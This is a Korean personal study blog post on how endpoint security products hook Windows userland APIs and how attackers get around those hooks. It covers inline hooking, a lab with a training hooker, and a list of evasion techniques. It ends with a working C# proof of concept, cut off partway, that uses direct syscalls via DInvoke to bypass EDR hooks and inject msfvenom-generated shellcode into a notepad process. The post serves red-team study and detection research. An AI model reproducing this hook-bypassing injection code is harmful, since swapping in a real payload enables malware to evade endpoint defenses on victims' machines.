[KR] 유저 랜드 후킹

Disclaimer

There is no novel research/content in this blog post, nor do I claim any work in this blog post to be mine (it’s not). This post is just a personal study note that I use for personal reasons while I study others’ work regarding offensive security tradecraft. All of the content and code in this article is public and all of the work is done by great professionals mentioned in the References section. All of the credit in this post goes to them, not me. Writing a blog post in my native language (Korean) helps me to re-organize things that I learn in English, and that’s the only reason I’m writing blog posts like this.

이 글은 제가 다른 블로그 글들을 읽으면서 배운 것을 개인적으로 정리해놓은 글입니다. 아직 공부하고 있는 학생이기 때문에 틀린 사실이 있을 수도 있습니다. 이 글에 있는 모든 내용 및 코드는 이미 다른 사람들이 공개적으로 발표한 것들이며, 실제 상황에 쓰이기에 부족한 퀄리티의 개념 증명 (PoC)입니다. 이 글에 있는 내용은 모두 레퍼런스 섹션에 있는 글 작성자분들이 정리한 내용입니다.  All of the credit in this post goes to them, not me.

요약

공격자들은 2010년 데프콘에서 시작된 파워쉘 열풍 이후 2017년 파워쉘의 몰락을 거쳐 .NET/C#/C++/Nim/Golang 등을 이용해 더 로우-레벨의 툴 제작(Tradecraft)을 시도하고 있다. 이에 발 맞춰 2013년도에 EDR 솔루션이 개발됐고, 2016년도 부터 본격적으로 EDR 솔루션을 도입하는 회사들이 많아짐에 따라 EDR vs. 공격자 구도가 형성됐다.

이 구도에서 가장 치열했던 창과 방패의 싸움은 2016년~2020년의 유저랜드 후킹과 우회일 것이다. 2021년 기준 많은 EDR 솔루션들이 커널 모드로 다시 돌아가며 다양한 탐지 방법을 만들어내고 있지만, 그 전에 가장 많이 쓰이던 탐지 기법은 바로 유저랜드 후킹이였다. 이 글에서는 엔드포인트 탐지 트렌드, 유저 랜드 와 커널 랜드, 윈도우 API, 후킹등의 개념에 대해서 알아본 뒤, 오픈소스 프로젝트들과 PoC 등을 이용해 후킹 실습과 후킹 우회 실습을 진행한다.  

엔드포인트 탐지 트렌드

2021년도 기준 현재 시장에 나와있는 EDR 솔루션들은 다양한 방법을 통해 악성코드 및 악성행위를 탐지한다. 커널 접근이 가능했던 “옛날”과 달리, Kernel Patch Protection (PatchGuard) 이 적용된 이후 보안 솔루션들은 커널 모드에서 벗어나 유저 모드에서 탐지를 진행해야한다. 유저 모드에 있는  탐지 방법 및 데이터 측정 출처 (telemetry sources)의 종류는 많이 있지만, 가장 많이 알려져있는 기법/기술은 다음과 같다.

  1. 유저랜드 후킹 (Userland Hooking)
  2. 커널 콜백 함수 (Kernel Callbacks)
  3. ETW (Event Tracing for Windows)
  4. 미니필터 드라이버 (Mini-Filter Drivers)
  5. 파워쉘과 .NET AMSI (AntiMalware-Scanning-Interface)

이 글에서는 이 중 모의침투테스트와 레드팀 활동시 많이 만나게 되는 1번 - 유저랜드 후킹에 대해 알아본다. 유저랜드 후킹은 2016년 ~ 2020년 중 EDR 솔루션들이 많이 사용하던 탐지 방법 중 하나다. 물론 2021년에도 많이 사용하지만, 요새 트렌드는 다시 또 커널 모드로 돌아가는 추세라고 한다. 2,4 번의 경우 커널과 관련된 로우레벨 부분이 존재하고 (실무에서 취약한 커널 드라이버 로드 같은 기법은 사용하기 어렵기도 하고), 3번은 현재 공부 하고 있기 때문에 이 글에서는 다루지 않는다.

유저랜드, 커널랜드, 그리고 윈도우 API

윈도우 운영체제는 크게 유저 모드 (유저 랜드)와 커널 모드 (커널 랜드)로 나뉘어져있다. 이를 링3, 링0 라고도 부른다. 유저 모드에서는 프로세스가 실행되며, 커널 모드에서는 하드웨어와 소프트웨어를 이어주는 커널이 존재한다. 커널은 운영체제의 핵심이기 때문에 잘못된 접근을 할 경우 머신 전체가 장악당하거나 잘못될 위험(크래시, 블루 스크린)이 있다. 이 때문에 링0과 링3은 분리 되어있다.

하지만 유저 모드가 커널에 접근해야하는 경우도 생기기 마련이다. 예를 들어 유저 모드의 프로세스인 메모장을 이용하다가 파일 저장을 하고 싶으면, 커널을 이용해 하드웨어인 디스크에 파일을 저장해야한다.

예를 들어, 다음과 같은 파이썬 코드를 실행한다고 가정해보자.

input("Setup your procmon/API Monitor or whatever. When you are ready, press enter... ")

fd = open("test.txt", "w")
fd.write("I am python, creating and writing to a file using python's <open/write> function. But under the hood...")
fd.close()

이 파이썬 코드는 유저 모드에 존재하지만, 파일 시스템을 통해 하드웨어에 test.txt 라는 파일을 생성해야 한다. 이처럼 유저 모드의 프로그램이 커널에 접근해 조작을 해야할 경우가 생긴다. 이때 유저 모드와 커널 모드를 이어주는 것이 바로 윈도우 API (winapi, win32api, windows API)다. 윈도우 API는 웹개발을 할 때 자주 보던 API와 비슷한 개념이다. 유저 모드의 프로그램이 커널과 소통을 해야할 경우가 생길 때 윈도우 API를 이용하면 정해진 규칙과 규정대로 커널에 접근할 수 있다.

윈도우 API 함수들은 kernel32.dll, kernelbase.dll, ntdll.dll 과 같은 다양한 라이브러리 파일들의 export table 에 존재한다. 이 중 kernel32.dll, kernelbase.dll, ntdll.dll 과 같은 라이브러리들은  프로세스 실행시 프로세스의 메모리로 기본적으로 로드된다. 메모장이건, 리그오브레전드.exe건, 어떤 실행파일을 실행하던간에 기본적으로 로드된다.

그렇다면 내가 평소 작성하는 파이썬 소스코드 또한 실제로는 이 라이브러리들을 이용해 윈도우 API를 사용하는 걸까? 실제로 procmon 과 같은 프로그램으로 위 파이썬 코드를 실행하면 다음과 같은 화면이 나온다.

Procmon 화면 - CreateFile과 WriteFile이 보인다
CreateFile의 자세히 보기
WriteFile의 자세히 보기

파이썬 프로그램이 CreateFile 과 WriteFile 행위를 하고 있고, 각각을 살펴보면…

  • CreateFile = 파이썬의 “open(‘test.txt’,’w’)” → CreateFileW (kernelbase.dll) → NtCreateFile (ntdll.dll) → NtCreateFile (ntoskrnl.exe),
  • WriteFile = 파이썬의 “fd.write” → WriteFile (kernelbase.dll) → ZwWriteFile (ntdll.dll) → NtWriteFile (ntoskrnl.exe)

위 순서로 함수들이 실행되고 있다. 아래 두 스크린샷의 경우, 유저 모드 (U) 에서 커널 모드 (K) 로, 아래서 위로 함수들이 실행된다. 윈도우 API 함수를 실행하면 kernelbase.dll 의 함수 호출 → ntdll.dll 함수 호출 → ntoskrnl.exe 커널에서 시스템 콜 실행과 같은 방법으로 실행되고 있다. 마지막으로, 똑같은 CreateFileW가 아니라 ntdll.dll과 ntoskrnl.exe 에서는 앞에 “Nt” 접두어가 붙은 네이티브 API (Native API) 가 실행된다.

파이썬, WinAPI, NativeAPI, System Call

사용되는 라이브러리들을 위에서 아래로 (유저모드 → 커널모드)로 정리해보면 다음과 같다.

  1. Kernel32.dll = 메모리 I/O 관련 윈도우 API를 가지고 있다. 단, “최근” (윈도우7/서버2008) 윈도우 버전에서는 kernelbase.dll 로 코드 실행을 넘기는 역할을 담당한다.
  2. Kernelbase.dll = “최근” 윈도우 버전부터 kernel32.dll로부터 인수인계를 받고 (?) 실질적으로 관련 윈도우 API 를 가지고 있다. 단, 커널베이스 또한 실질적으로는 ntdll.dll 의 네이티브 API를 실행하는 역할 담당이다.
  3. Ntdll.dll = 윈도우 API보다 한단계 낮은 네이티브 API를 가지고 있다. 사실 윈도우 API는 네이티브 API의 래퍼 (wrapper) 일뿐이다. 이 네이티브 API는 공식적으로 문서화가 되어있지 않고, 윈도우 버전이 바뀔때마다 바뀌는 경우가 많아 이를 추상화 시키기 위해 윈도우 API가 사용된다. Ntdll.dll의 네이티브 API를 통해 최종적으로 시스템 콜 CPU 명령어가 어셈블리 단계에서 실행된다.
  4. Ntoskrnl.exe = 이때부터 코드 실행은 커널로 넘어가 System Service Dispatch Table (SSDT) 를 이용해 시스템 콜 번호를 찾아 실행한다.

평범한 프로그램이나 악성코드나 윈도우와 소통을 하기 위해서는 윈도우 API를 사용할 수 밖에 없다. 따라서 악성코드가 윈도우 API를 사용해 나쁜 일을 한다면, 어떤 윈도우 API 들이 사용되는지 모니터링을 하면 탐지가 가능할 것이다. 하지만 어떤 프로세스가 , 어떤 윈도우 API를, 어떻게 사용하는지 방어자의 입장에서 어떻게 알 수 있을까? 후킹을 통해 알 수 있다.

후킹

유저 모드, 커널 모드, 그리고 둘을 이어주는 윈도우 API를 살펴봤으니, 이제 “유저랜드 후킹” 중에서 두번째 요소인 후킹에 대해서 알아본다. 후킹은 특정 시스템의 함수 콜 / 메시지 / 이벤트 등을 가로채 그 시스템의 행동을 바꾸는 기법들을 일컫는다. 개념만 따지고 보면 중간자 공격 (MitM - Man-in-the-Middle) 공격과도 비슷하다. 위에서 알아본대로 악성코드는 자신의 프로세스에 로드된 kernel32.dll 등의 라이브러리를 통해 윈도우 API를 사용한다. 따라서 프로세스에 로드된 kernel32.dll 의 윈도우 API를 후킹하면 악성 행위를 잡아낼 수 있을 것이다.

Kernel32.dll을 후킹한다면

예를 들어, 최근 발견된 악성코드가 실행시 c:\dev\malware.txt 라는 파일을 생성한다고 가정해보자.

  1. 생성되는 모든 프로세스의 kernel32.dll 라이브러리의 CreateFileW() 윈도우 API를 후킹한다
  2. 악성코드가 kernel32.dll의 CreateFileW() 윈도우 API를 이용한다 CreateFileW(“c:\dev\malware.txt”, …….)
  3. If 악성코드) Kernel32.dll 의 CreateFileW() 함수는 후킹되었기 실행시 방어자의 프로세스로 가로채진다. 방어자의 프로세스는 매개변수 중 C:\dev\malware.txt 를 발견한 뒤, 악성코드라고 판단, 타겟 프로세스를 종료시킨다
  4. Else 정상 프로그램) 후킹 후 CreateFileW() 의 매개변수 중 이상한 점을 발견하지 못했다. 악성코드가 아니라고 판단, 다시 실행을 kernel32.dll 로 넘겨준다. 그 뒤 CreateFileW() 함수는 정상적으로 실행된다

후킹의 개념은 이해가 되는데, 정확히 어떤 방법을 써서 후킹을 할 수 있을까? 악성코드 프로세스에 로드된 kernel32.dll 의 소스코드를 바꿀 수 있는 것도 아니고, 이미 실행중인 프로세스에 로드된 라이브러리의 특정 함수를 어떻게 바꿀 수 있는 것일까? 다양한 방법이 있겠지만, EDR 솔루션들이 사용하는 후킹 방법중 하나는 DLL 인젝션을 이용한 인라인 후킹 (inline hooking)이다.

인라인 후킹은 타겟 함수의 주소를 찾은 뒤, 첫 n바이트의 어셈블리 명령어들을 JMP등의 명령어로 패치해 코드실행을 가로채간다. 예를 들어 이번에는 ntdll.dll 라이브러리에 있는 NtProtectVirtualMemory 윈도우 API 를 패치한다고 가정해보자. 해당 함수는 악성코드들이 쉘코드를 메모리에 작성/옮겨넣기 전, 메모리의 권한을 바꾸는데 자주 사용되는 함수다.

후킹 전 notepad.exe 프로세스에 로드된 ntdll.dll의 정상적인 NtProtectVirtualMemory 어셈블리는 다음과 같다.

1:045> u ntdll!NtProtectVirtualMemory
ntdll!NtProtectVirtualMemory:
00007ffb`78bcd710 4c8bd1          mov     r10,rcx
00007ffb`78bcd713 b850000000      mov     eax,50h
00007ffb`78bcd718 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffb`78bcd720 7503            jne     ntdll!NtProtectVirtualMemory+0x15 (00007ffb`78bcd725)
00007ffb`78bcd722 0f05            syscall
00007ffb`78bcd724 c3              ret
정상적인 NtProtectVirtualMemory

몇가지 옵코드들을 실행한 후, 마지막에 syscall을 실행해 커널로 시스템 콜을 호출한다. 이 함수를 후킹한다고 가정하면 다음과 같이 변한다.

1:045> u ntdll!NtProtectVirtualMemory
ntdll!NtProtectVirtualMemory:
00007ffb`78bcd710 <...>ff	  jmp	  <방어자_DLL의_후킹_함수_주소>
00007ffb`78bcd713 b850000000      mov     eax,50h
00007ffb`78bcd718 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffb`78bcd720 7503            jne     ntdll!NtProtectVirtualMemory+0x15 (00007ffb`78bcd725)
00007ffb`78bcd722 0f05            syscall
00007ffb`78bcd724 c3              ret
첫번째 명령어가 JMP로 후킹되었다

NtProtectVirtualMemory 함수의 가장 첫번째 명령어가 후킹되어 DLL 인젝션으로 인젝트된 방어자 DLL의 함수로 점프(JMP)한다. 이제 코드 실행이 방어자 DLL로 넘어갔으니, 방어자는 해당 함수의 매개변수 등을 살펴본 후, 이게 악성코드인지 아닌지에 따라 처리를 한 뒤, 다시 ntdll 함수로 코드 실행을 되돌려준다.

후킹 - 실습

아까 위에서 “...후킹 방법중 하나는 DLL 인젝션을 이용한 인라인 후킹 (inline hooking)이다” 라고 했다. 게임 해킹, CTF, 악성코드 분석 등을 해보신 분들이라면 DLL 인젝션이 익숙하실 것이다. 타겟 프로그램의 코드 실행에 변화를 주기 위한 목적으로 DLL 인젝션이 사용되는데, 보안 프로그램이 악성 프로세스의 코드 실행을 탐지/후킹 하기 위한 목적으로도 사용된다. 이번 실습에서는 @EthicalChaos 가 만든 연습용 유저랜드 후킹 프로그램을 가지고 실습을 진행한다. 실습에는 Visual Studio, Windbg (Preview) 등이 사용된다.

  1. 가상의 유저랜드 후킹 보안 프로그램 (SylantStrike - made by @EthicalChaos) - https://github.com/CCob/SylantStrike
  2. 가상의 악성코드 (메시지 박스 출력) - https://gist.github.com/ChoiSG/2e86452b01d95b1d4725938eeab2717a
  3. 비주얼 스튜디오와 Windbg - 구글링

실습 시나리오는 다음과 같다.

  1. 가상의 보안 프로그램 SylantStrike 는 최신 EDR 솔루션으로, 유저랜드 후킹을 이용해 프로세스의 ntdll.dll의 NtProtectVirtualMemory 를 감시한다. 만약 프로세스가 NtProtectVirtualMemory 를 사용해 메모리의 특정 부분을 RWX (읽기/쓰기/실행하기)로 바꾼다면, 악성코드로 간주하고 프로세스를 종료시킨다.
  2. 가상의 악성코드는 메모장 프로세스를 생성한 뒤, 보안 탐지 우회를 위해 메모장에 프로세스 인젝션을 실행한다. 쉘코드는 메시지 박스를 출력한다 (대부분 쉘코드는 C2 에이전트 실행이지만, PoC니까).
  3. 각각의 파일을 빌드하고, 실행한 뒤, Windbg 를 통해 어떻게 유저랜드 후킹이 이뤄지는지 디버깅을 해본다.

먼저 SylantStrike 를 깃-클론 한 뒤, 전체 솔루션을 빌드한다.

별 탈 없이 빌드됐다면 SylantStrike.dll 과 SylantStrikeInject.exe 이 생길것이다. SylantStrike.dll 은 실제로 유저랜드 후킹이 일어나는 (가상의 보안) DLL이고, SylantStrikeInject.exe 는 위 DLL을 악성코드로 인젝트하는 프로그램이다.

다음으론 .NET Framework 4.0 Console 프로젝트를 만든뒤, 가상의 악성코드 hooktester 의 소스코드를 붙여넣고  빌드한다.

이제 가상의 악성코드를 실행하면 다음과 같은 결과가 나올 것이다.

가상의 악성코드가 제대로 실행된 모습

메모장이 생성된 뒤, 쉘코드 (메시지 박스)가 출력된다.

이제 SylantStrikeInject.exe 를 이용해 보안 프로그램을 실행한다. 악성코드의 이름을 프로세스 이름으로 지정한 뒤, DLL 인젝션을 실행할 SylantStrike.dll 을 지정한다.

.\SylantStrikeInject.exe --process=hooktester.exe --dll=C:\opt\SylantStrike\x64\Debug\SylantStrike.dll

다시 악성코드를 실행하면 이번에는 SylantStrike 의 경고 메시지가 나오며 잡아냈다 이녀석이라고 얘기해준다. 악성코드 또한 실행을 끝마치지 못하고 중간에 종료된다.

실제로 Process Hacker 나 Process Explorer 등으로 확인해보면 SylantStrike.dll 이 인젝트 된 것을 알 수 있다.

악성코드 프로세스에 인젝트된 SylantStrike.dll 모습

그렇다면 후킹은 어디서, 어떻게 일어나고 있을까? 이를 위해서는 Windbg 를 사용한다. 먼저, SylantStrikeInject.exe 를 종료시켜 탐지를 멈춘 뒤, 악성코드를 실행하되 프로세스 인젝션을 진행하기 전 멈춘다.

이 화면에서 멈추면 된다. 엔터를 안누르면 진행하지 않는다.

이제 Windbg 를 실행해 hooktester.exe 에 붙인 뒤 디버깅을 시작한다. 이 글에서는 Windbg Preview 를 사용하고 있지만, Windbg 을 사용해도 큰 차이는 없다. 디버깅을 할 프로세스의 이름을 검색한 뒤, 디버거를 붙여주자.

지금은 SylantStrike 를 끈 상태이기 때문에 악성코드의 ntdll.dll 은 후킹이 되어있지 않다. 확인을 위해 ntdll.dll 의 NtProtectVirtualMemory 를 확인해보자.

정상적인 NtProtectVirtualMemory 의 모습이다.

이제 유저랜드 후킹이 실행된 이후를 알아본다. Windbg에서 디버깅 그만하기를 눌러 디버깅을 종료하고 악성코드를 종료시킨다. 그 뒤, 이번에는 SylantStrikeInject.exe 를 먼저 실행하고 악성코드를 실행한다.

다시 Windbg 로 돌아와 hooktester.exe 프로세스를 디버깅 해보자. 이번에 새롭게 시작된 악성코드 프로세스는 SylantStrike의 유저랜드 후킹이 적용된 상태다. 다시 한 번  악성코드의 ntdll.dll의 NtProtectVirtualMemory 를 살펴보자.

유저 랜드 후킹이 적용된 악성코드의 ntdll!NtProtectVirtualMemory

악성코드에 로드된 ntdll.dll 의 NtProtectVirtualMemory 의 옵코드들이 변했다. 후킹이 된 것이다. 가장 눈에 띄는 것은 맨 처음 명령어 - jmp 0x00007ff93de40fd6 - 해당 주소로 점프를 하는 명령어다. 해당 주소를 따라가보면 다음과 같이 또 다른 점프가 나온다.

0x00007ff93de40fd6 로 찾아가보면 qword ptr [0x00007ff93de40fdc] 를 통해 해당 주소에 있는 32 비트의 값으로 또 점프한다. 0x00007ff93de40fdc 주소에 어떤 값이 저장되어 있고, 그 값으로 점프를 하면 어디로 가는지 한 번 더 따라간다.

0x00007ff93de40fdc  주소로 가보니 0x00007ff92ef0115e 값이 나왔다. 바로 저 값으로 점프하면 된다. 저 주소에는 뭐가 있을까?

SylantStrike DLL 파일로 점프를 하고 있다. 이후 SylantStrike DLL의 NtProtectVirtualMemory 로 코드가 진행된다. 즉, 유저랜드 후킹이 성공적으로 이뤄진 것이다.

정리해보자면,

  1. ntdll!NtProtectVirtualMemory:  jmp 0x00007ff93de40fd6  // 후킹 성공!
  2. 0x00007ff93de40fd6: jmp qword ptr [0x00007ff93de40fd6](0x00007ff93de40fd6 주소에는 0x00007ff92ef0115e 값이 저장되어 있음)(사실상 jmp 0x00007ff92ef0115e 과 동일)
  3. 0x00007ff92ef0115e: jmp SylantStrike!NtProtectVirtualMemory (SylantStrike 로 코드 진행)
  4. SylantStrike!NtProtectVirtualMemory 코드 진행이 모두 끝난 뒤 다시 ntdll!NtProtectVirtualMemory의 코드를 마저 진행

유저랜드 후킹 - 우회 & 실습

유저랜드 후킹을 우회하는 방법은 정말 많기 때문에 이 글에서는 일일히 우회방법에 대해 알아보지 않는다. 단, 이와 관련해 @s3cur3th1ssh1t 가 정리한 정말 좋은 블로그 포스트 가 있어 링크한다.

간단하게 우회 기법들의 이름만 알아보자면 다음과 같다. 당연히 아래 리스트 보다 훨씬 더 많은 기법들이 존재하지만, 일단 내가 공부하고 있는 기법들만 적어본다.

  1. Direct System Call
  2. Patching the Patch
  3. Unhooking / .text Overwriting
  4. DLL Manual Mapping (관련해서 포스팅을 한 적이 있다)
  5. Patching the Entrypoint
  6. Hell’s Gate VX
  7. FireWalker (툴의 이름이지만)
  8. 잘 알려지지 않은, 혹은 새롭게 추가된 WinAPI 이용 (최근에 추가된 NtCreateThreadStateChange 등..)
  9. 그외 기타 등등

많은 우회 기법들이 있지만 가장 많이 사용되는 기법 중 하나는 바로 다이렉트 시스템 콜 (Direct System call/direct syscall/시스템콜) 이 있다. 시스템 콜은 유저 모드에서 커널 모드로 실행권을 넘길 때 사용하는 CPU 명령어다. 다이렉트 시스템 콜은 kernel32.dll, kernelbase.dll, ntdll.dll 등의 라이브러리에 있는 윈도우 API를 사용하지 않고 그냥 바로 시스템 콜 어셈블리를 만든 뒤 ntoskrnl.exe 에게 다이렉트로 요청하는 기법이다. 라이브러리에 있는 윈도우 API를 사용하지 않기 때문에 보안 프로그램들이 ntdll.dll 등에 유저랜드 후킹을 해도 전혀 영향을 받지 않는다. 말 그대로 우회하는 것이다.

위에서 알아본것과도 같이 윈도우 API는 네이티브 API의 래퍼이고, 실제 시스템콜은 네이티브 API에서 일어난다고 했다. NtProtectVirtualMemory의 시스템콜이 일어나는 어셈블리 코드를 살펴보면, 의외로 매우 간단하다.

ntdll!NtProtectVirtualMemory:
mov     r10,rcx
mov     eax,50h
syscall
ret

이게 끝이다. 앞서 함수의 매개변수들이 스택에 올라와있고 모든 준비가 끝났을 때, 실제로 시스템콜을 하기 위해서는 단 4개의 어셈블리 명령어 밖에 필요없다. 그나마 이중에서도 가장 중요한 것은 바로 mov eax, 50h 의 두번째 인자인 50h - 시스템콜 번호이다. 이 번호는 네이티브 API함수마다 다르며, 유니크하게 부여된 번호다. 또한, 윈도우 버전마다 이 번호가 바뀌는 경우가 있다. 예를 들어 윈도우10 2004H 에서 NtProtectVirtualMemory 시스템콜은 50이지만, 윈도우10 1909 버전에서는 49가 될 수도 있다.

어찌됐건, 다이렉트 시스템콜을 어셈블리로 구현할 때 필요한 것은 다음과 같다:

mov     r10,rcx
mov     eax, <사용하고자하는 네이티브 API의 시스템 콜 번호>
syscall
ret

여기서 문제가 하나 발생한다. 윈도우 버전마다 시스템콜 번호가 다르다면, 어떻게 이를 해결할 수 있을까? 내가 시스템콜을 실행할 타겟이 윈도우10 1909인지, 2004H인지, 윈도우 7인지, 혹은 심지어 윈도우 XP인지는 실제로 타겟에 들어가기 전에 모른다. (실제로 알 수 있는 방법이 있지만, 왠만한 상황에서는 모른다)

  1. 모든 윈도우 버전마다 모든 네이티브 API의 시스템콜 번호를 기록한다. 타겟에 들어간 이후 윈도우 버전을 정보수집하고, 리스트에서 시스템 콜 번호를 찾아서 쓴다.
  2. 타겟에 들어간 이후 디스크에 있는 ntdll.dll (프로세스에 로드된 ntdll.dll 은 이미 EDR 솔루션이 후킹해놨다) 를 따로 로드해서 사용하고자 하는 네이티브 API의 어셈블리를 “긁어와” 시스템 콜을 알아낸다. 이후 메모리 스캔에 들킬 수 있으니 로드한 2번째 ntdll.dll을 다시 프리 시킨다.

당연히 1번과 2번 말고도 많은 방법들이 있을 것이다.

1번의 경우 실제로 레드팀 관련 종사자들이 많이 쓰고 있고, 그와 관련된 SysWhisperer2 라는 유명한 툴이 존재한다. 자신만의 툴을 만들고 싶다면 시스템 콜을 모두 모아놓은 j00ru의 테이블을 보면 된다.

2번의 경우 실제로 구현하기는 어려우니 Dynamic Invoke 라이브러리를 이용한다. DInvoke\DynamicInvoke\Generic.cs 에 보면 GetSyscallStub 이라는 함수를 찾을 수 있다. 워낙 주석이 잘 되어 있어서 그냥 주석만 읽어도 충분하다.

설명이 간단하다. Ntdll.dll을 디스크에서 읽은 후, FunctionName 매개변수에서 받은 네이티브 API의 시스템콜 스터브 (위에서 알아본 시스템콜과 관련된 어셈블리 명령어)들을 “긁어온” 뒤, ntdll 을 언로드한다.

1. 먼저 현재 로드된 ntdll.dll을 찾아 디스크 위치를 찾는다 (대부분 c:\windows\system32\ntdll.dll 이지만, 확실하게 하기 위해)

2. ntdll.dll 을 현재 프로세스에 불러온다

3. ntdll.dll 을 맵핑한다 (PE 헤더 및 섹션등을 돌아가며 복사한다)

4. 시스템 콜 스터브를 구할 네이티브 API의 이름을 Export Table 에서 찾은 뒤, API 시작지점부터 50바이트를 복사하여 새로운 메모리에 붙여넣는다. 이게 시스템 콜 스터브가 된다.

5. #4 번에서 만든 시스템 콜 스터브로 다이렉트 시스템 콜을 실행한다.

실제 DInvoke 를 사용해 시스템 콜을 사용하는 PoC를 만들어봤다. 실습을 위해 .NET Framework 4.0 프로젝트를 만들고, 아래 gist 링크로 들어가 소스보드를 복사/붙여넣기 한 뒤, Nuget 을 이용해 DInvoke 를 검색하고 추가하면 아래 소스코드를 사용할 수 있을 것이다.

https://gist.github.com/ChoiSG/d61fc7e3fc761499928791714ffbd3e3

using System;
using DInvoke;
using System.Diagnostics;
using System.Runtime.InteropServices;
using DynamicInvoke = DInvoke.DynamicInvoke;
using Data = DInvoke.Data;

namespace dinvokeSyscall
{
    class Program
    {
        static void Main(string[] args)
        {
            // msfvenom MesssageBox - msfvenom -c messageBox -a x64 --platform windows -p windows/x64/messagebox TEXT="Malicious Program incoming" -f csharp
            byte[] buf = new byte[305] {
            0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
            0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
            0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
            0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
            0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
            0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
            0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
            0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
            0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
            0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
            0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
            0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
            0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
            0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
            0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
            0x85,0x19,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
            0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x4d,0x61,0x6c,
            0x69,0x63,0x69,0x6f,0x75,0x73,0x20,0x50,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,
            0x69,0x6e,0x63,0x6f,0x6d,0x69,0x6e,0x67,0x00,0x4d,0x65,0x73,0x73,0x61,0x67,
            0x65,0x42,0x6f,0x78,0x00 };

            byte[] sc = buf;

            var process = Process.Start("C:\\Windows\\System32\\notepad.exe");
            var pid = (uint)process.Id;
            Console.WriteLine("[+] Notepad pid: " + pid);

            IntPtr stub = DynamicInvoke.Generic.GetSyscallStub("NtOpenProcess");
            DELEGATES.NtOpenProcess NtOpenProcessSyscall = (DELEGATES.NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(DELEGATES.NtOpenProcess));

            IntPtr procHandle = IntPtr.Zero;
            Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES();
            Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID();
            ci.UniqueProcess = (IntPtr)pid;

            NtOpenProcessSyscall(ref procHandle, Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, ref oa, ref ci);

            stub = DynamicInvoke.Generic.GetSyscallStub("NtAllocateVirtualMemory");
            IntPtr baseAddress = IntPtr.Zero;
            UInt32 regionSize = (UInt32)sc.Length;

            DELEGATES.NtAllocateVirtualMemory NtAllocateVirtualMemorySyscall= (DELEGATES.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(DELEGATES.NtAllocateVirtualMemory));

            NtAllocateVirtualMemorySyscall(procHandle, ref baseAddress, (UInt32)0, ref regionSize, (UInt32)0x00001000 | (UInt32)0x00002000, (UInt32)0x04);

            Console.WriteLine("[+] Allocated memory addr: 0x" + baseAddress.ToInt64().ToString("x2"));

            stub = DynamicInvoke.Generic.GetSyscallStub("NtWriteVirtualMemory");
            UInt32 bufferLength = (UInt32)sc.Length;
            DELEGATES.NtWriteVirtualMemory NtWriteVirtualMemorySyscall = (DELEGATES.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(DELEGATES.NtWriteVirtualMemory));
            NtWriteVirtualMemorySyscall(procHandle, baseAddress, Marshal.UnsafeAddrOfPinnedArrayElement(sc, 0), bufferLength, ref bufferLength);

            stub = DynamicInvoke.Generic.GetSyscallStub("NtProtectVirtualMemory");
            UInt32 oldProtect = (UInt32)0;
            IntPtr regionSizePtr = (IntPtr)sc.Length;
            DELEGATES.NtProtectVirtualMemory NtProtectVirtualMemorySyscall = (DELEGATES.NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(DELEGATES.NtProtectVirtualMemory));
            NtProtectVirtualMemorySyscall(procHandle, ref baseAddress, ref regionSizePtr, (UInt32)0x20, ref oldProtect);

            stub = DynamicInvoke.Generic.GetSyscallStub("NtCreateThreadEx");
            DELEGATES.NtCreateThreadEx NtCreateThreadExSyscall = (DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(DELEGATES.NtCreateThreadEx));
            NtCreateThreadExSyscall(out IntPtr threadHeandle, Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, procHandle, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);

            Console.WriteLine("[+] Starting Remote Thread");

        }
    }

    public class DELEGATES
    {
